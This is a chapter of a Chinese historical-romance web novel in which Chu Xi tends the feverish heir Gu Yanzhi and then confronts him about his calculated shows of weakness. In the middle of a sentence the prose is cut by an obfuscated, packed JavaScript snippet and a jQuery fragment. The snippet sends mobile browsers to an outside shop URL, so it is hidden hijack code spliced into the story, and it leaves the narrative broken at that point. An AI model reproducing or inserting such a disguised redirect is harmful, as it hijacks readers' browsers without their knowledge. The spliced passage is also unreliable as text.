守在顾衍之身边的时间并不无聊,楚晞按照刘大夫的吩咐不断观察着他的状况,果不其然,半夜时分他就发起热来。
路洺解开他上身的衣物,和楚晞一起不停地用酒为他擦拭着身体。
一开始的时候她还有些拘谨,眼睛都不知往哪儿放,可当真正触及他的肌肤时,却不由自主地被他疤痕交错的身体惊到了。
毫无疑问,榻上是一具堪称完美的男性躯体,宽肩挺拔,锁骨深陷,一路往下是流畅紧实的胸腹肌理,每一寸线条都彰显着身体主人的力量,却又不显得粗犷野蛮。可这幅极佳的躯体上,满是纵横交错的经年伤疤——剑痕、刀伤、箭孔......大大小小,每一道都在无声的诉说着主人曾经面临过的厮杀。
“......”她只匆匆看了几眼便不忍地挪开了眼,手下的动作也放得越发轻柔。
“你们世子他——”楚晞想了想,回忆着曾经听到的消息,“他八岁就去了边疆吗?”
“是,殿下八岁便去军中历练,十五岁独自带着一支小队突袭敌军粮仓,十六岁打赢了平狼川一战,也因此声名远扬,此后从未有过败绩。”路洺的语气里满是骄傲,可楚晞却听得一阵心酸。
八岁,放在现代也才是个小学生,还是在父母怀中撒娇撒泼的年纪;十五岁......更是听得她心惊胆战。
她垂下眼眸,不再说什么,只是坚持要担下守夜的职责,路洺见她态度坚决,便说自己就在隔壁,有事便可唤他。
楚晞点点头。
房内烛火摇摇晃晃,她盯着榻上在昏睡中辗转不安的人,替他拭去了额角冷汗,又悄悄握住了他的手,额头靠在他炽热的手背,轻轻闭上了眼睛。
“子珩,快些醒来吧......我很担心你。”
近似低喃的一句,让意识昏沉中的男子捕捉于耳,挣扎之中他的眼皮跳动得厉害,可楚晞并未察觉。
最终,男子的意识再次归为沉寂,只是那句如真似幻的低语到底是真是假......
——
顾衍之睁开双眼,连夜的高烧让他的视线有些模糊,刚要抬手去揉,却觉察手臂上靠着一个温热的物什。
他低头望去,瞬时便停了动作,敛了呼吸,看了半天才漾起一个温柔的笑。
视线里只有一个毛茸茸的后脑,脑袋的主人正趴在榻边,身体随着呼吸浅浅起伏着。原本束着的头发因为睡姿而松了大半,发带滑落至颈后,发尾蓬松柔软,看得人想伸手去揉一揉。
可担心扰了这一刻的美好,他终是忍住了冲动。
他淡淡扫过面前人的后颈,却骤然顿住。
因为趴着的缘故,少年大半个后颈都露在外面。少年人常年风水日晒,脖颈大多粗糙,可眼前人的却纤细莹白,肌肤细腻薄嫩,连淡青色的血管都清晰可见。
像是感受到身体的僵硬,少年无意识地缩了缩肩,那截白皙的脖颈便跟着轻轻一蜷,线条柔婉,丝毫没有半分男子筋骨的硬朗。
顾衍之心口一滞,先前那刺客的话陡然涌上脑海。
少年本就容貌秀美,发丝散乱时被误以为是女子本也无可厚非,可他总觉得有些说不清道不明的异样。
鬼使神差的,他慢慢伸出手,也不知是想落在何处,或许只是想单纯地触碰对方。
就在他即将抚上少年单薄的肩背之际,楚晞发出一声呢喃,接着将头贴着他的手臂拱了拱。
微刺的触觉传来,顾衍之停下了一切动作,看着那颗脑袋转过来,眼皮动了动,对上一双迷离的眼眸。
在四目相对的一瞬,对方眼中的混沌尽数散去,伴随着惊喜的声音,喜悦之情溢于言表:
“子珩!你醒了!”
“嗯。”顾衍之笑着回应,正要再说些什么,对方的手已经覆上了他的额头。
“嗯......已经退烧了,刘大夫说这样就没大碍了。”楚晞站起身来,丢下一句“我去找他”便像阵风似的跑走了。
顾衍之看着她离开的方向,一向清醒聪慧的头脑难得愣了几瞬,旋即便是一声失笑。
笑她风风火火,也笑自己是在异想天开。
可......
他的眼前突然浮现出那晚在医馆中,见到了纤细小腿。
少年别扭又局促的神色与平日大胆灵动的性格大相径庭。
难道......
他靠坐着思索,路洺适时进来:“殿下。”
思绪瞬间抽离,眼前的顾衍之瞬间便又是那个波澜不惊的少年世子。
“嗯,如何?”
“这是调查的结果,不出殿下所料,军中确实有细作。”
楚晞拉着大夫回来时,看见的就是一个在病中还不忘公务的顾衍之。
仍在病中的男子一身素白中衣,脸色掩不住的苍白,唇边淡得失尽血色,却还在翻看着一叠信笺。屋内还弥漫着苦涩的药味,楚晞侧目看去,榻前放着一碗分毫未动的药。
听到动静,顾衍之抬眸,眼中泛起笑意:“回来了。”
这般自然亲切的举动仿佛楚晞只是去外面转了一圈,而并非给他找大夫回来。
“嗯。”楚晞点点头,伸手试了下那药的温度——还是温热的。
刘大夫上前替顾衍之把脉,又查看了他的伤口,说这伤已无大碍,剩下的便是好好修养。他说完,就和路洺一同出去了,屋内只剩他们二人。
在楚晞晦明难辨的目光中,顾衍之手攥成拳抵在唇边:“咳咳......”
他的身体微微颤抖,楚晞叹了口气为他取来一件外衣披上,又将药碗给他端来:“快点把药喝了。”视线瞥见榻边的信笺,那上面密密麻麻的字迹让人只看一眼便觉头晕,楚晞想了想,还是出声劝道:“你伤还没好,方才没听大夫交待吗?你得静养才是。”
“好。”顾衍之的声音很淡,露出一个虚弱又温和的笑,正要伸手去接药碗,却突然脸色一变,身体也是一僵。
“......怎么了?”楚晞端着药碗,问道。
“无碍,”他一只手绕过前胸抚到另一侧肩膀,眉头微蹙像是痛极了,可还在努力掩饰着自己的脆弱,不想让眼前人担心,“把药给我吧......”
楚晞端着碗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17754148|206505||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的手往外一侧,避开了他伸过来的手,眼神里满是担忧与心疼,就连语气也是前所未有的柔软:“你伤得这么重就不要逞强了,我来喂你喝——你是想让我这么说的吧。”话到末尾,她的语气陡然一转,眼神也变得戏谑而犀利起来。
顾衍之扬起的嘴角一滞,刚要假意推辞的话语还未来得及说出口,就已被这突如其来的变故堵了回去。他脸上难得流露出一分惊愕,可随即便释然一笑:“为何这么说?”
她冷冷地看了眼那摞公文,挑了挑眉,顾衍之会意,哑然失笑。
想不到自己竟会犯这么明显的错误,当真是乱心则乱。
“还有,”楚晞慢悠悠地开口,“一个身经百战的将军,岂会屡屡在人前露出虚弱的模样?”他并非这般人,之所在这么做作,无非是想叫她心软。
“嗯,你说的不错。”顾衍之笑着点点头。
楚晞本还想看他慌乱窘迫的模样,可没想到这人居然这么淡定,甚至有种悠哉安闲的派头,不禁心头燃起一点怒火:“这就是你的回答?”
“那你想让我如何?”顾衍之收敛了笑,神色认真,“继续哄你?还是快些求你原谅?”
“如果这么做能让你高兴,那也可以。”
楚晞微微瞪大了双眼,有些失望地摇摇头:“你果然还是喜欢骗我。”
说完她起身就要离开,被顾衍之一把按住手臂:“等等。”
她没有挣脱,可头却依旧朝着房门的方向,不肯看他。
顾衍之无声叹了口气,手上的力道稍松:“我知道你觉得我喜欢骗你,不够尊重你,可林舒,我没有办法。”
他的嗓音低沉,细听之下似有两分踌躇:“战场之上将领的一句话便可能决定成败,我自小又生活在......所以我总是要三思而后行,做任何事都须权衡利弊......除了和你。”
“一开始我确实没放在心上,只是觉得有趣。可随后与你交心,又发生了那么多事,我又开始犹豫,担心你得知我的身份会怪我,没想到还是在最坏的情况下被戳穿了。”他苦笑一声。
“那刚才呢?”楚晞终于转过头,眼神复杂地看着他,“你刚醒就又要算计我。”
“这绝非算计。”顾衍之说得斩钉截铁,下一刻又避开了她的眼神,“我只是想要体验一下生病被人哄着,被照顾着的感觉。”
楚晞冷淡的神色僵在了脸上。
“小时候见陆一逸生病不肯吃药,舅母总是哄着他,亲手将药喂到嘴边。我自幼便来到军营,这里时时都在生死间徘徊,从未体验过这般感觉。”说到这里,顾衍之又看向楚晞,方才的窘迫一扫而空,像是她的幻觉,“我只是习惯了去算计,包括现在和你推心置腹又何尝不是一种算计?”
他的笑里带着两分自嘲:“将早已不在乎的、幼时的小事摊在你面前,用这一点早就愈合的小疮疤来博取你的同情,让你忘记我先前的错误,对受伤的我嘘寒问暖。”
“甚至于此时此刻,我还在庆幸——”他微微靠近她,盯着她的眼睛,“庆幸这一点点伤换来你整夜的守护,真是笔合算的买卖。”